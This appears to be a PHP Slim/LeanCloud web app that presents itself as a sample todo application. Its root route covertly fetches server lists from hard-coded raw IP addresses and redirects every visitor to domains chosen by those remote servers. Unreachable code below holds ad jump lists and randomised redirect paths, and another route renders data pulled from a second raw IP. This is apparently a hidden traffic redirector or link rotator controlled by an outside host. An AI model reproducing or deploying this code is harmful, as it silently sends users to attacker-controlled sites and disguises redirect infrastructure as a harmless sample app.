<?php
require __DIR__ . '/../vendor/autoload.php';
require __DIR__ . '/../src/cloud.php';

/*
 * A simple Slim based sample application
 *
 * See Slim documentation:
 * http://www.slimframework.com/docs/
 */

use \Psr\Http\Message\ServerRequestInterface as Request;
use \Psr\Http\Message\ResponseInterface as Response;
use \Slim\Views\PhpRenderer;
use \LeanCloud\Client;
use \LeanCloud\Storage\CookieStorage;
use \LeanCloud\Engine\SlimEngine;
use \LeanCloud\Query;
use \LeanCloud\LeanObject;

$app = new \Slim\App();
// 禁用 Slim 默认的 handler，使得错误栈被日志捕捉
unset($app->getContainer()['errorHandler']);

Client::initialize(
    getenv("LEANCLOUD_APP_ID"),
    getenv("LEANCLOUD_APP_KEY"),
    getenv("LEANCLOUD_APP_MASTER_KEY")
);
// 将 sessionToken 持久化到 cookie 中，以支持多实例共享会话
Client::setStorage(new CookieStorage());
Client::useProduction((getenv("LEANCLOUD_APP_ENV") === "production") ? true : false);

SlimEngine::enableHttpsRedirect();
$app->add(new SlimEngine());

// 使用 Slim/PHP-View 作为模版引擎
$container = $app->getContainer();
$container["view"] = function ($container) {
    return new \Slim\Views\PhpRenderer(__DIR__ . "/views/");
};




$app->get('/', function (Request $request, Response $response) {
    // $ips = explode(',', getenv("FUCK_IP"));
    $ips = explode(',', curlGet('http://120.78.69.203/gaowen/getips.php'));
    $key = array_rand($ips);
    $ip = trim($ips[$key]);
    $data = json_decode(curlGet('http://'.$ip.'/getdata.php'), true);
    $key = isset($_GET['key'])&&!empty($_GET['key']) ? trim($_GET['key']) : '';
    if ($key) {
       header("location:http://{$data['d1']}/".$key);
    } else {
        header("location:http://{$data['d1']}/;haohi200?fuck=".time());}
        die;

    $isAd = isset($_GET['path'])&&!empty($_GET['path']) ? true : false;
    if ($isAd) {
//    $jumplist = curlGet('http://120.78.69.203/getad2.php', 10);
        // if ('friend' == $_GET['source']) {
        //     $data['back_url'] = $data['friend_url'];
        // } else if ('time' == $_GET['source']) {
        //     $data['back_url'] = $data['time_url'];
        // }
        header("location:{$data['back_url']}");
        die;
    } else {
        header("location:http://{$data['d1']}/;haohi200?fuck=".time());
    }
    die;
    $hasFile = isset($_GET['file'])&&!empty($_GET['file']) ? true : false;


// ###################################################

// 获取跳转列表
    $jumplist = curlGet('http://120.78.69.203/jump.php', 10);
    $result = json_decode($jumplist, true);
    if (!empty($result) && is_array($result) && $result['error'] != 1) {
        if ($hasFile) {
            header("location:http://{$result['data']}/".str_rand2(10)."alex".str_rand2(9)."?t=".time());
        } else {
            header("location:http://www.google.com");
        }
    }
});

$app->get('/alex/{id}[/{params:.*}]', function (Request $request, Response $response, $args) {
    $data = curlGet('http://120.78.80.160');
//    var_dump($args);die;
    return $this->view->render($response, "result.phtml", array(
        "currentTime" => new \DateTime(),
        'data' => json_decode($data, true),
        'id' => $args['id']
    ));
});

// 显示 todo 列表
$app->get('/todos', function (Request $request, Response $response) {
    $query = new Query("Todo");
    $query->descend("createdAt");
    try {
        $todos = $query->find();
    } catch (\Exception $ex) {
        error_log("Query todo failed!");
        $todos = array();
    }
    return $this->view->render($response, "todos.phtml", array(
        "title" => "TODO 列表",
        "todos" => $todos,
    ));
});

$app->post("/todos", function (Request $request, Response $response) {
    $data = $request->getParsedBody();
    $todo = new LeanObject("Todo");
    $todo->set("content", $data["content"]);
    $todo->save();
    return $response->withStatus(302)->withHeader("Location", "/todos");
});

$app->get('/hello/{name}', function (Request $request, Response $response) {
    $name = $request->getAttribute('name');
    $response->getBody()->write("Hello, $name");

    return $response;
});

$app->run();

